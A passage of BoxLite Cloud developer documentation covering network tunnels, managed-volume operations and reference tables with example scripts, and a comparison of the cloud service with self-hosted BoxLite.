established, why each one carries a single connection, what it is verified to carry, and the full parameter reference. Every way of reaching a service inside a Cloud box goes through the same object: a tunnel. This page is the concept and the reference. The task pages — [Serve HTTP](/cloud/serve-http), [Port forwarding](/cloud/port-forwarding), [Raw streams](/cloud/raw-streams) — are three ways of consuming what it returns. ## Prerequisites * An API key from the console, exported as `BOXLITE_API_KEY`. See [API keys](/cloud/api-keys). * `pip install boxlite`, and the REST URL exported as `BOXLITE_REST_URL`. See [Quickstart](/cloud/quickstart). ## How a tunnel reaches your service You do not open a port on the platform. You ask one specific box for a tunnel to one specific port inside it, and `await box.network.tunnel(port)` prepares it. Behind that single call: the SDK asks the Cloud API to prepare the tunnel (`POST /v1/boxes/{id}/network/tunnel` if you are driving the REST API yourself), opens a TLS connection to the public proxy, and issues an HTTP `CONNECT`. The proxy connects on to the runner hosting your box, and the runner connects to the guest port. From there the path is your service's socket: the tunnel moves bytes and nothing along it interprets your protocol. Two consequences shape every use of a tunnel. * **Your service must bind `0.0.0.0`.** The tunnel terminates on the box's network interface, so a server bound to `127.0.0.1` inside the box is unreachable — the same reason port forwarding needs `0.0.0.0` on a box you run yourself, explained in [Network access](/manage-sandbox/network-access). * **A prepared tunnel carries exactly one connection.** See [A tunnel is one-shot](#a-tunnel-is-one-shot). ## A tunnel is one-shot **`connect()` and `forward()` each consume the tunnel.** Calling either one a second time on the same `BoxTunnel` raises a BoxLite error: `tunnel connection has already been consumed`. Every connection needs a fresh `await box.network.tunnel(port)`. Ask for one per request, per retry, and per concurrent client — one per connection — and never cache a `BoxTunnel` for reuse. Caching the *port number* is fine; caching the tunnel is the bug. Preparing a tunnel is cheap and boxes accept several at once, so this is a shape to lean into rather than work around: many concurrent clients on the same guest port each get their own tunnel, and different guest ports on one box can be tunnelled at the same time. ## Parameters and returns ### `box.network.tunnel(port)` Async. Prepares one tunnel to one port inside one box. | Parameter | Type | Required | Description | | - | - | - | - | | `port` | `int` | Required | The port your service listens on **inside** the box. `0` raises `ValueError: tunnel port must be non-zero` | Returns a `BoxTunnel`. `await box.tunnel(port)` is an equivalent shorthand on a `SimpleBox`. ### `BoxTunnel` | Member | Async | Returns | Description | | - | - | - | - | | `uri()` | No | `str \| None` | Public URL of a remotely served tunnel, or `None` for a local one. Does not consume the tunnel | | `connect()` | Yes | `BoxConnection` | **Consumes the tunnel** and returns its bidirectional byte stream | | `forward(listen)` | Yes | `TunnelForwarder` | **Consumes the tunnel**, listens on `listen`, and forwards traffic into the box. `listen` is a `SocketAddress` | ### `SocketAddress` Two class methods build the address `forward()` listens on. | Constructor | Signature | Constraint | | - | - | - | | `SocketAddress.tcp` | `SocketAddress.tcp(host="127.0.0.1", port=0)` | `host` must be a numeric IP, otherwise `ValueError: tunnel listener host must be a numeric IP`. `port=0` lets the system assign one | | `SocketAddress.unix` | `SocketAddress.unix(path)` | `path` must be absolute, otherwise `ValueError: tunnel Unix socket path must be absolute` | Read-only attributes: | Attribute | Type | TCP address | Unix address | | - | - | - | - | | `kind` | `str` | `"tcp"` | `"unix"` | | `host` | `str \| None` | The IP | `None` | | `port` | `int \| None` | The port | `None` | | `path` | `str \| None` | `None` | The socket path | ### `TunnelForwarder` | Member | Async | Returns | Description | | - | - | - | - | | `local_addr()` | No | `SocketAddress` | The address actually bound — read this when you passed `port=0` | | `wait()` | Yes | — | Blocks until the forwarder finishes | | `close()` | Yes | — | Shuts the forwarder down | ### `BoxConnection` | Member | Async | Returns | Description | | - | - | - | - | | `read(max_bytes)` | Yes | `bytes` | Up to `max_bytes` bytes; empty once the far side closes. `max_bytes` of `0` raises `ValueError: max_bytes must be non-zero`; reading a closed connection raises with `connection is closed` | | `write(data)` | Yes | `int` | Writes all of `data` (`bytes`) and returns the number of bytes written | | `shutdown_write()` | Yes | — | Half-closes the write direction. Read [Limits](#limits) before you depend on it | | `close()` | Yes | — | Closes both directions | ## What a tunnel carries These behaviors are verified end to end against BoxLite Cloud, so you can build on them: * **HTTP requests and responses**, `GET` and `POST`. * **WebSocket** — the upgrade handshake and frames in both directions. * **Several guest ports on one box**, tunnelled at the same time. * **Concurrent clients** against the same guest port, each on its own tunnel. * **Responses larger than 2 MiB** through a single connection, byte-for-byte intact. * **Slow readers** — a client that drains the stream slowly does not lose data. * **Client cancellation** — abandoning your side ends that stream without disturbing the box or its other streams. * **Service restart** — restart the server inside the box, open a fresh tunnel, and traffic flows again. * **Arbitrary TCP**, including a real SSH session to an `sshd` listening on port 2222. The path is not HTTP-specific. One isolation property is worth stating on its own: **two boxes serving on the same guest port never receive each other's traffic.** A tunnel is bound to the box that produced it, and that holds while both boxes take traffic concurrently. ## Limits Three properties of this path to design around. **A `CONNECT` to a stopped box can be accepted before the stream fails.** A successful connect is not proof that the box is running — the accept can land and the stream fail immediately afterwards. Treat your first successful read or write as the readiness signal. Tunnel traffic also does not wake a stopped box: the console is explicit that preview traffic keeps a running box alive but does not wake a stopped one, so start the box yourself and check [Stop when idle](/cloud/box-lifecycle#stop-when-idle) if it stops under you. **A response can be lost after `shutdown_write()`.** TCP half-close is not carried end to end, so a guest that waits for end-of-input before it replies may never reply, and a reply already in flight can be dropped. Use a protocol that frames its own messages — a newline, a length prefix, `Content-Length` — instead of one that signals "done" with EOF. **Direct browser use of a tunnel URL is not covered.** The URL from `uri()` is the address the SDK dials when you call `connect()` or `forward()`. Navigating to it in a browser, and browser authentication for a private box, sit outside the verified path. Drive tunnels from the SDK, and when you want a browser on the service, forward the port to your machine with [Port forwarding](/cloud/port-forwarding). ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `uri()` returns `None` | The box came from a local runtime, not from `Boxlite.rest(...)`. A local tunnel has no published address | Construct the runtime with `Boxlite.rest(BoxliteRestOptions(url=..., credential=...))` as in [Quickstart](/cloud/quickstart). The endpoint shape is the tell: a local runtime's endpoint is an integer file descriptor, a Cloud runtime's is a URL | | A BoxLite error carrying `tunnel connection has already been consumed` | `connect()` or `forward()` already spent that `BoxTunnel` | Call `await box.network.tunnel(port)` again for every connection. Never reuse or cache a tunnel object | | `RuntimeError: Box not started. Use 'async with SimpleBox(...) as box:' or call 'await box.start()' first.` | The tunnel was requested before the box was running | `await box.start()` first, then request the tunnel | | `ValueError: tunnel port must be non-zero` | `0` was passed as the guest port | Pass the port your service actually listens on inside the box | | `ValueError: tunnel listener host must be a numeric IP` | `forward()` got a hostname such as `localhost` | Use `SocketAddress.tcp(host="127.0.0.1", port=0)` | | `ValueError: tunnel Unix socket path must be absolute` | A relative path was passed to `SocketAddress.unix(...)` | Pass an absolute path, for example `/tmp/boxlite-forward.sock` | | `ValueError: max_bytes must be non-zero` | `read(0)` | Pass a real buffer size, for example `read(64 * 1024)` | | The connect succeeds and the stream drops immediately | The box is stopped. A `CONNECT` can be accepted before the stream fails | Confirm the box is running and start it if not. If it keeps stopping under you, it is being stopped for being idle — see [Stop when idle](/cloud/box-lifecycle#stop-when-idle) | | The connection is established but nothing answers | The service inside the box is bound to `127.0.0.1`. A tunnel arrives on the box's network interface, not on its loopback | Bind `0.0.0.0`, for example `python3 -m http.server 18080 --bind 0.0.0.0`, Flask `app.run(host="0.0.0.0")`, uvicorn `--host 0.0.0.0`. Background: [Network access](/manage-sandbox/network-access) | | No reply arrives after `shutdown_write()` | The guest is waiting for end-of-input, and TCP half-close is not carried end to end | Frame the protocol so the guest knows a message is complete without EOF — a newline, a length prefix, or `Content-Length` | | An `exec` that starts the server returns exit code `0` but nothing listens | The command was backgrounded, so its exit code says nothing about the server | Read the server's log file back out of the box, as [Serve HTTP](/cloud/serve-http) does with `/tmp/server.log` | ## Next steps Start a server inside a box and reach it over a tunnel. Publish a box port on your own machine. Read and write bytes for a protocol of your own. Who can reach the box, and what the box can reach. # Create, list, inspect, and delete volumes Source: https://docs.boxlite.ai/cloud/volume-operations The four operations the volume API exposes, one script that runs all of them, and the two behaviors that catch people out: deletion is asynchronous, and size is never reported. The volume API has exactly four operations. This page runs all four end to end, then covers the two behaviors that surprise people. ## The four operations | Operation | SDK call | REST | | - | - | - | | **Create** | `rt.volumes.create(name)` — `name` optional | `POST /v1/volumes` | | **List** | `rt.volumes.list()` | `GET /v1/volumes` | | **Inspect** | `rt.volumes.get(id)` | `GET /v1/volumes/{id}` | | **Delete** | `rt.volumes.remove(id, force)` | `DELETE /v1/volumes/{id}` | **There is no update operation.** A volume's name is fixed at creation, and there is no rename, resize, or patch call in the SDK or on the REST API. To change a name, create a new volume and copy the data through a box that mounts both. Every operation except create addresses the volume **by id**, not by name. Name is for mounting — see [Reference](/cloud/volume-reference#name-a-volume-and-mount-it-by-that-name). ## Prerequisites * An API key from the console, exported as `BOXLITE_API_KEY`. See [API keys](/cloud/api-keys). * `pip install boxlite` for Python or `npm install @boxlite-ai/boxlite` for Node, and the REST URL exported as `BOXLITE_REST_URL`. See [Quickstart](/cloud/quickstart). * A REST runtime. Managed volumes need one — a local runtime has no volume backend. ## All four in one script This creates a volume, finds it in the listing, reads it back by id, then deletes it and waits for reclamation. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} # cloud_volume_crud.py — create, list, inspect, delete # Run: python cloud_volume_crud.py import asyncio import os import time from boxlite import ApiKeyCredential, Boxlite, BoxliteRestOptions api_key = os.environ.get("BOXLITE_API_KEY") if not api_key: raise SystemExit("Set BOXLITE_API_KEY to your blk_live_... key before running this.") async def main() -> None: rt = Boxlite.rest( BoxliteRestOptions( url=os.environ.get("BOXLITE_REST_URL", "https://api.boxlite.ai"), credential=ApiKeyCredential(api_key), ) ) volume = None try: # CREATE — name is optional; omit it and the server names the volume after its id. volume = await rt.volumes.create(f"crud-demo-{int(time.time())}") print(f"created id={volume.id} name={volume.name} created_at={volume.created_at}") # LIST — every volume this key can see. volumes = await rt.volumes.list() print(f"listed {len(volumes)} volume(s); ours present: " f"{any(v.id == volume.id for v in volumes)}") # INSPECT — by id, never by name. same = await rt.volumes.get(volume.id) # size_bytes is always None on Cloud; measure usage from inside a box instead. print(f"fetched id={same.id} name={same.name} size_bytes={same.size_bytes}") # DELETE — returns an acknowledgement, not a finished deletion. await rt.volumes.remove(volume.id) print("delete accepted") # Deletion is asynchronous: poll the listing with a bound, never wait for a 404. for _ in range(12): if all(v.id != volume.id for v in await rt.volumes.list()): print("reclaimed") return await asyncio.sleep(5) print("still listed after 60s — reclamation runs on the platform's cycle") except Exception as exc: print(f"failed: {type(exc).__name__}: {exc}") if volume is not None: try: await rt.volumes.remove(volume.id, force=True) except Exception: pass if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // cloudVolumeCrud.ts — create, list, inspect, delete // Run: node cloudVolumeCrud.ts import { ApiKeyCredential, BoxliteRestOptions, JsBoxlite } from "@boxlite-ai/boxlite"; const apiKey = process.env.BOXLITE_API_KEY; if (!apiKey) { throw new Error("Set BOXLITE_API_KEY to your blk_live_... key before running this."); } const sleep = (ms: number) => new Promise((resolve) => setTimeout(resolve, ms)); async function main(): Promise { const rt = JsBoxlite.rest( new BoxliteRestOptions({ url: process.env.BOXLITE_REST_URL ?? "https://api.boxlite.ai", credential: new ApiKeyCredential(apiKey), }), ); let volume = null; try { // CREATE — name is optional; omit it and the server names the volume after its id. volume = await rt.volumes.create(`crud-demo-${Math.floor(Date.now() / 1000)}`); console.log(`created id=${volume.id} name=${volume.name} createdAt=${volume.createdAt}`); // LIST — every volume this key can see. const volumes = await rt.volumes.list(); console.log(`listed ${volumes.length} volume(s); ours present: ` + `${volumes.some((v) => v.id === volume.id)}`); // INSPECT — by id, never by name. const same = await rt.volumes.get(volume.id); // sizeBytes is always undefined on Cloud; measure usage from inside a box instead. console.log(`fetched id=${same.id} name=${same.name} sizeBytes=${same.sizeBytes}`); // DELETE — returns an acknowledgement, not a finished deletion. await rt.volumes.remove(volume.id); console.log("delete accepted"); // Deletion is asynchronous: poll the listing with a bound, never wait for a 404. for (let attempt = 0; attempt < 12; attempt++) { const current = await rt.volumes.list(); if (current.every((v) => v.id !== volume.id)) { console.log("reclaimed"); return; } await sleep(5000); } console.log("still listed after 60s — reclamation runs on the platform's cycle"); } catch (err) { console.error(`failed: ${err instanceof Error ? err.message : err}`); if (volume) { await rt.volumes.remove(volume.id, true).catch(() => {}); } } finally { rt.close(); } } main(); ``` ```bash REST theme={"theme":{"light":"github-light","dark":"github-dark"}} #!/usr/bin/env bash # cloud_volume_crud.sh — create, list, inspect, delete set -euo pipefail BOXLITE_REST_URL="${BOXLITE_REST_URL:-https://api.boxlite.ai}" AUTH=(-H "Authorization: Bearer ${BOXLITE_API_KEY}") # CREATE — name is optional. VOLUME_ID=$(curl -fsS -X POST "${BOXLITE_REST_URL}/v1/volumes" "${AUTH[@]}" \ -H 'Content-Type: application/json' \ -d "{\"name\":\"crud-demo-$(date +%s)\"}" | jq -r .id) echo "created ${VOLUME_ID}" # LIST curl -fsS "${BOXLITE_REST_URL}/v1/volumes" "${AUTH[@]}" | jq -r '.volumes[] | "\(.id) \(.name) \(.state)"' # INSPECT — state and error_reason are REST-only; the SDK does not expose them. curl -fsS "${BOXLITE_REST_URL}/v1/volumes/${VOLUME_ID}" "${AUTH[@]}" \ | jq '{id, name, state, error_reason}' # DELETE — 204, and reclamation continues afterwards. curl -fsS -X DELETE "${BOXLITE_REST_URL}/v1/volumes/${VOLUME_ID}" "${AUTH[@]}" echo "delete accepted" # Watch state rather than waiting for a 404. for _ in $(seq 12); do STATE=$(curl -fsS "${BOXLITE_REST_URL}/v1/volumes/${VOLUME_ID}" "${AUTH[@]}" | jq -r .state 2>/dev/null || true) if [ -z "${STATE}" ] || [ "${STATE}" = "deleted" ]; then echo "reclaimed"; exit 0; fi echo "state: ${STATE}" sleep 5 done echo "still present after 60s — reclamation runs on the platform's cycle" ``` To create a volume and actually *use* it, see [Mount a volume](/cloud/mount-a-volume). ## Deletion is asynchronous `remove()` returns nothing and `DELETE /v1/volumes/{id}` returns `204` — both are acknowledgements, not completed deletions. Immediately afterwards: * A REST read of that volume returns `200` with a `state` of `pending_delete` — **not** a `404`. * A listing can still include the volume for a short window. * Reclamation finishes on the platform's own cycle. So never write code that waits for a `404`. Poll with a bounded timeout and treat "gone from the listing" as done, as the script above does. Deleting a volume that a running box still has mounted does not corrupt that box. The box stays usable. ## State the SDK does not expose Two fields reach the REST API but stop at the SDK. Read them over REST when you need them. | What you want | SDK | REST | | - | - | - | | Whether a volume is ready, creating, or being deleted | Not on `VolumeInfo` | `state` on `GET /v1/volumes` and `GET /v1/volumes/{id}` | | Why a volume failed | Not on `VolumeInfo` | `error_reason` on `GET /v1/volumes/{id}` | | Volume size | `size_bytes` / `sizeBytes` is **always empty** | Not reported either — the service returns no size field | `state` is one of `creating`, `ready`, `pending_create`, `pending_delete`, `deleting`, `deleted`, or `error`. Creating a volume already waits for it to become ready before returning, so a volume you just created is mountable. Poll `state` when you are adopting a volume you did not create, or diagnosing one that is misbehaving. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `rt.volumes.get(name)` raises | `get` addresses volumes by id only | Pass `volume.id`. Name is for mounting, not for lookup | | You want to rename a volume and find no method | There is no update operation on volumes | Create a new volume and copy the data through a box that mounts both | | You cannot tell whether a volume is ready | `state` is not on `VolumeInfo` | Read `state` over REST — see [State the SDK does not expose](#state-the-sdk-does-not-expose) | | `size_bytes` is always empty | The service reports no volume size on any response | Measure from inside a box, for example `du -sh /data` | | A volume you deleted is still returned | Deletion is asynchronous — a read returns `pending_delete` and the listing can lag | Poll with a bounded timeout instead of waiting for a `404` | | A volume sits in `error` | The backend could not provision it | Read `error_reason` on `GET /v1/volumes/{id}`, then remove it and create a replacement | | `401` on `/v1/volumes` | Missing, malformed, or expired API key | Send `Authorization: Bearer ` with a key from the console — see [API keys](/cloud/api-keys) | ## Next steps Create one and actually use it: mount, write, read back. Every parameter and return shape, name-versus-id addressing, and read-only mounts. # Volume reference Source: https://docs.boxlite.ai/cloud/volume-reference How a volume is addressed by name or id, the parameters and return shapes of every volume call, the mount tuple, read-only behavior, and what differs from open source. One page for everything the volume API does, so the task pages can stay about the task. If you have not created a volume yet, start with [Mount a volume](/cloud/mount-a-volume). ## Prerequisites * An API key from the console, exported as `BOXLITE_API_KEY`. See [API keys](/cloud/api-keys). * A REST runtime. Managed volumes need one — a local runtime has no volume backend to resolve a reference against. ## Name a volume and mount it by that name A volume has both a server-assigned `id` and a `name`, and **either one mounts it**. When you create a volume without a name, the server uses the id as the name. Choosing your own name is what lets a worker mount the volume it wants without knowing the id. The two halves can live in different processes that never exchange an id: ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} # In the process that provisions storage: volume = await rt.volumes.create("training-data") # In a worker that only knows the name: box = await rt.create(BoxOptions(image=IMAGE, volumes=[("training-data", "/data")])) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // In the process that provisions storage: const volume = await rt.volumes.create("training-data"); // In a worker that only knows the name: const box = await rt.create({ image: IMAGE, volumes: [["training-data", "/data"]] }); ``` ```bash REST theme={"theme":{"light":"github-light","dark":"github-dark"}} # The wire field is managed_volume, and it accepts a name or an id. curl -fsS -X POST "${BOXLITE_REST_URL}/v1/boxes" \ -H "Authorization: Bearer ${BOXLITE_API_KEY}" \ -H 'Content-Type: application/json' \ -d '{"image":"'"${IMAGE}"'","volumes":[{"managed_volume":"training-data","guest_path":"/data"}]}' ``` Names are unique within your organization, so a name is a stable address across processes and across time. An id is stable too, but you have to carry it somewhere. ## Parameters and returns The runtime you build with `Boxlite.rest(...)` carries a volumes API. `volumes` is a **property**, so write `rt.volumes` — no parentheses — and await the four methods hanging off it. | Call | Parameters | Returns | | - | - | - | | `rt.volumes` | Not awaited — a property on the runtime | The volumes handle the four methods below live on | | `rt.volumes.create(name=None)` | `name`: `str`, optional. Mountable in place of the id; the server names the volume after its id when omitted | `VolumeInfo` for the new volume | | `rt.volumes.list()` | None | `list[VolumeInfo]` | | `rt.volumes.get(id)` | `id`: `str`, required | `VolumeInfo`. Raises when no volume has that id | | `rt.volumes.remove(id, force=False)` | `id`: `str`, required. `force`: `bool`, optional, default `False` | `None` | In Node the same four methods are `create(name?)`, `list()`, `get(id)`, and `remove(id, force?)`. `VolumeInfo` fields are read-only: | Field | Python | Node | Description | | - | - | - | - | | id | `id` | `id` | Server-assigned. Mounts the volume, and addresses `get()` and `remove()` | | name | `name` | `name` | Yours if you passed one to `create()`, otherwise the id. Also mounts the volume | | created at | `created_at` | `createdAt` | RFC 3339 string | | size | `size_bytes` | `sizeBytes` | **Always empty on Cloud** — the service does not report volume size on either the list or the single-volume response. See [Volume operations](/cloud/volume-operations#state-the-sdk-does-not-expose) | To work with a volume you already have, pass its name or id straight to the box's `volumes` field, or call `get()` first to confirm it exists. ## Mount a volume into a box Mounting is configured at creation time through the `volumes` field on the box options. Each element is a `(volume, mount_path)` pair. **The first element is a managed volume's name or id — not a path on your machine.** That is the mental switch to make coming from open source. The mount path has to be an absolute path that is not the root and not a system directory. The service rejects the box otherwise: | Mount path | Result | | - | - | | `/data`, `/mnt/models`, `/srv/cache` | Accepted | | `data` or any relative path | Rejected — must be absolute | | `/` or `//` | Rejected — cannot mount to the root directory | | `/data/../etc` | Rejected — cannot contain relative path components | | `/data//cache` | Rejected — cannot contain consecutive slashes | | `/proc` `/sys` `/dev` `/boot` `/etc` `/bin` `/sbin` `/lib` `/lib64`, or anything under them | Rejected — cannot mount to a system directory | For the full box options table and `exec` semantics, see the [Python SDK reference](/reference/python) or the [Node.js SDK reference](/reference/nodejs). For host-directory mount forms, see [Volumes and mounts](/manage-sandbox/volumes). ## Read-only mounts Read-only managed volumes are not supported. The SDK refuses the mount before the request leaves your process, rather than mounting it writable and letting you believe it is protected: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} read-only managed volumes are not supported yet; mount "training-data" read-write ``` Mount read-write and enforce read-only behavior in your own code, or use a separate volume for data no box should modify. ## What is different from open source **Host bind mounts are rejected over REST.** In open source, `volumes=[("/home/you/data", "/data")]` mounts a directory from your machine. On Cloud that first element must be a managed volume's name or id. The SDK refuses the box **before any network request goes out**: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} host bind mounts are only supported by the local runtime; mount a managed volume by id or name instead ``` So the mistake surfaces immediately, rather than as a box that starts with an empty mount. If you are porting code, replace every host path with a managed volume reference. | | Open source | Cloud | | - | - | - | | What you mount | A directory on the host machine | A managed volume, by name or id | | Where the data lives | Your filesystem | Managed storage in the BoxLite resource pool | | Creating storage | Make a directory | `create(name)`, or the console's **New Volume** dialog | | Host bind mounts | Supported | Rejected | | Read-only mounts | Supported | Not supported | For host-directory mount options, read-only mounts, and `copy_in` / `copy_out`, see [Volumes and mounts](/manage-sandbox/volumes). For the complete side-by-side, see [Cloud vs open source](/cloud/vs-opensource). ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | The box is refused with a host-path error | A path from your machine was passed as the first element. Cloud takes a managed volume reference there | Pass the volume's name or id: `volumes=[("training-data", "/data")]` | | `read-only managed volumes are not supported yet` | A mount asked for read-only, which Cloud does not support | Mount read-write; the SDK refuses rather than silently mounting writable | | `volumes tuples must be (host_path, guest_path[, read_only])` | A `volumes` entry is a tuple of the wrong length | Give each mount exactly the volume reference and the mount path | | `volumes entries must be tuple or dict` | A `volumes` entry is neither — most often a bare string | Wrap each mount in a tuple: `volumes=[(volume.name, "/data")]`, not `volumes=[volume.name]` | | `rt.volumes(...)` fails when you call it | `volumes` is a property on the runtime, not a method | Drop the parentheses: `await rt.volumes.create()` | | A BoxLite error from `create()`, `list()`, `get()`, or `remove()` | The runtime has no volume backend — a local runtime cannot resolve a managed volume reference | Build the runtime with `Boxlite.rest(...)` against Cloud | | `Invalid mount path ... (cannot mount to system directory)` | The mount path is `/proc`, `/etc`, `/bin`, or another system directory | Mount somewhere like `/data` or `/mnt/models` | | `Invalid mount path ... (must be absolute)` | The mount path is relative | Start the path with `/` | | `get()` raises for an id you expect to exist | `get()` takes the id, not the name — or the volume was already removed | Call `list()` and read the `id` off the `VolumeInfo` you want | | Files are gone after the box is removed | The data was written outside the mount path, so it lived on the box's own disk | Write under the mount path, for example `/data/results.json` | | A volume is not ready, is stuck, or will not go away after deletion | Volume state and deletion are covered on their own page | See [Volume operations](/cloud/volume-operations) | | `401` on `/v1/volumes` | Missing, malformed, or expired API key | Send `Authorization: Bearer ` with a key from the console — see [API keys](/cloud/api-keys) | ## Next steps Create one, mount it, write and read through it. List, inspect, and delete volumes. # Volumes Source: https://docs.boxlite.ai/cloud/volumes Storage that outlives the box that wrote it — create a managed volume, mount it by a name you choose, and keep the data after the box is gone. A box loses everything on its disk when it is destroyed. A volume does not. Mount one into a box and the data outlives it. A volume has a server-assigned `id` and a `name`, and **either one mounts it** — so a worker can mount `("training-data", "/data")` without ever looking up an id. Managed volumes need a **REST runtime**. A local runtime has no volume backend to resolve a reference against. ## In this section Create a volume, mount it into a box, write through it and read it back. **Start here.** Write from one box, delete that box, read the same bytes from a new one. Create, list, inspect, and delete — all four operations in one script, plus why deletion is asynchronous. Name-versus-id addressing, every parameter and return shape, read-only mounts, and what differs from open source. ## When you need a volume * **An agent whose state must outlive its box.** A Cloud box can stop when idle and be deleted after stopping. Anything written to the box's own disk goes with it; anything written through a volume mount is there for the next box. * **A large dataset or model you do not want to re-download.** Fetch it once into a volume, then mount that volume into every box that needs it. * **Handing results from one box to the next.** One box produces artifacts under the mount path, a later box mounts the same volume and picks them up. * **A fleet that addresses storage by name.** Workers mount a name, and none of them needs an id. A volume also costs less than keeping a stopped box around: volumes are not metered at all, so mounting one adds nothing to a box's hourly price, while a stopped box is billed for its disk until it is deleted. See [What a box costs](/cloud/box-costs). # BoxLite Cloud vs open source Source: https://docs.boxlite.ai/cloud/vs-opensource Every difference between self-hosted BoxLite and BoxLite Cloud — entry point, auth, exec shape, storage, lifecycle, images, and billing — plus how to port existing code. Open-source BoxLite runs on hardware you own and manage; BoxLite Cloud runs on BoxLite's resource pool, and you reach it with a URL and an API key over the same SDK. This page is the single place where those differences are enumerated. Every other Cloud page links here instead of restating them. ## Side by side | Dimension | Open source (self-hosted) | Cloud | | - | - | - | | Where boxes run | Your machine or server, with hardware virtualization (Linux KVM, macOS Hypervisor.framework) | BoxLite's resource pool — no virtualization on your machines | | Entry point | `SimpleBox(...)` or `Boxlite.default()` | `Boxlite.rest(BoxliteRestOptions(url, credential))` | | Authentication | None locally, or `boxlite serve --api-key` | A `blk_live_...` key created in the console — see [API keys](/cloud/api-keys) | | `path_prefix` | The reference server needs `path_prefix="default"` | Not used | | `exec` call shape | In-process runtime: varargs, `box.exec("echo", "hi")`. A self-hosted `boxlite serve` uses the keyword-list form, like Cloud | Keyword list: `box.exec("echo", args=["hi"])` | | Teardown | `async with` context manager, or `stop()` | `await rt.remove(box.id, force=True)` | | Persistent storage | Host directory bind mount: `volumes=[(host_path, guest_path)]` | Managed volumes; host bind mounts are ignored — see [Volumes](/cloud/volumes) | | Exposing a service | Port forwarding to the host: `ports=[(host_port, guest_port)]` | A tunnel to a guest port, which carries a public URL — see [Network](/cloud/network). Sharing a port with a browser or another person goes through a preview URL — see [Network policy](/cloud/network-policy) | | Snapshots, clone, export, import | Available — see [Snapshots and clones](/manage-sandbox/snapshots) | Disabled. The hosted service reports `snapshots_enabled`, `clone_enabled`, `export_enabled`, and `import_enabled` as false | | Lifecycle management | Fully manual — you start, stop, and remove every box | Idle-stop, resume-on-access, and delete-after-stopping, set in the console or with `auto_stop` / `auto_resume` / `auto_delete` — see [Boxes](/cloud/boxes) | | Image operations | `boxlite pull` and the `images` API are available | Not supported over REST. Shared Linux base images are available automatically to keys with Boxes access | | Resource limits | Whatever your hardware allows | Per-box ceilings, plus a plan-level concurrency limit — see [Managing billing](/cloud/billing#per-box-resource-ceilings) | | Cost | Free software; you pay for your own servers | Metered — a subscription quota is consumed first, and a wallet funds the rest | ### What the table compresses **Virtualization moves, it does not disappear.** Self-hosting puts the virtualization requirement on your host, which is why BoxLite fails to start a box on machines without KVM or Hypervisor.framework. On Cloud that requirement lives in the resource pool, so your client can be any machine that can make HTTPS requests — including CI runners and nested VMs. **Storage is the difference that breaks silently.** Every other row in this table produces a visible error if you get it wrong. A host bind mount does not: in REST mode the mount is accepted and ignored, so your code runs and your data is simply not there. Replace host bind mounts with a managed volume before you port. [Volumes](/cloud/volumes) covers creating one and mounting it. **Snapshots and clones do not carry over.** If your self-hosted code saves disk state with `box.snapshot`, clones a box, or exports one to an archive, that part does not run on Cloud — the hosted service has those four capabilities disabled. Keep state you need to survive a box on a volume instead, which is the durable path on Cloud anyway. **A Cloud box has a lifecycle policy; a self-hosted box does not.** Cloud can stop a box when it goes idle, resume it when you reach for it again, and delete it after it has been stopped for a while. Set the policy in the console, or from code with `auto_stop` and `auto_delete` (both in seconds, `0` to disable) and `auto_resume`. The defaults are the platform's either way: a 15-minute idle stop, no auto-delete, and resume on access — so a box created over the API stops itself after 15 idle minutes unless you pass `auto_stop` explicitly. See [Boxes](/cloud/box-lifecycle). **Images are prepared for you.** Because image operations are not supported over REST, you do not pull on Cloud. Pick one of the console's base images, or the default `ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0`. A Boxes-scoped key gives you the shared Linux base images automatically. ## Which should I use? Self-host when: * You already run machines with virtualization capacity, and adding boxes costs you nothing new. * You need host bind mounts — the box must read and write a directory on the same machine as your process. * You need local image operations, such as pulling or inspecting images from the CLI. * You want zero external dependency: no account, no network egress to a control plane, no third party in the failure path. Choose Cloud when: * Your machines have no hardware virtualization — laptops under a corporate policy, most managed CI runners, nested VMs. * You want an agent to stay reachable without operating servers yourself: storage that outlives the box, and a lifecycle that stops it when idle and wakes it on access. * You want to scale box count without capacity planning, by changing a plan instead of provisioning hosts. * You want per-box resource ceilings enforced for you across a multi-tenant workload. The two are not exclusive. The same SDK talks to both, so developing against a local box and running the same code against Cloud in production is a change of runtime handle, not a rewrite. ## Porting existing open-source code to Cloud Four edits cover almost every port: 1. Swap the runtime handle to `Boxlite.rest(BoxliteRestOptions(url, credential))`. 2. Change `exec` from varargs to `args=[...]`. 3. Replace the `async with` context manager with an explicit `await rt.remove(box.id, force=True)` in a `finally` block. 4. Replace host bind mounts with a managed volume. ### Before: a local box on your own machine ```python local_box.py theme={"theme":{"light":"github-light","dark":"github-dark"}} # Runs on your own machine. Requires hardware virtualization (KVM or Hypervisor.framework). import asyncio import os import tempfile import boxlite async def main() -> None: # A host directory the box will read and write directly. with tempfile.TemporaryDirectory() as host_dir: with open(os.path.join(host_dir, "notes.txt"), "w") as f: f.write("written on the host\n") try: async with boxlite.SimpleBox( image="alpine:latest", volumes=[(host_dir, "/data")], ) as box: result = await box.exec("cat", "/data/notes.txt") # A non-zero exit code does not raise — check it yourself. print(result.stdout if result.exit_code == 0 else result.stderr, end="") except RuntimeError as exc: print("Box failed to start:", exc) asyncio.run(main()) ``` ### After: the same job on Cloud ```python cloud_box.py theme={"theme":{"light":"github-light","dark":"github-dark"}} # Runs against BoxLite Cloud. No local virtualization needed. # Set BOXLITE_API_KEY, and BOXLITE_VOLUME_ID to a volume you created in the console. import asyncio import os import time from boxlite import ApiKeyCredential, Boxlite, BoxliteRestOptions, BoxOptions async def main() -> None: api_key = os.environ.get("BOXLITE_API_KEY") # volume_id = os.environ.get("BOXLITE_VOLUME_ID") # if not api_key or not volume_id: print("Set BOXLITE_API_KEY and BOXLITE_VOLUME_ID before running this script.") return # Synchronous construction. No path_prefix on Cloud. rt = Boxlite.rest( BoxliteRestOptions( url=os.environ.get("BOXLITE_REST_URL", "https://api.boxlite.ai"), credential=ApiKeyCredential(api_key), ) ) box = None try: box = await rt.create( BoxOptions( 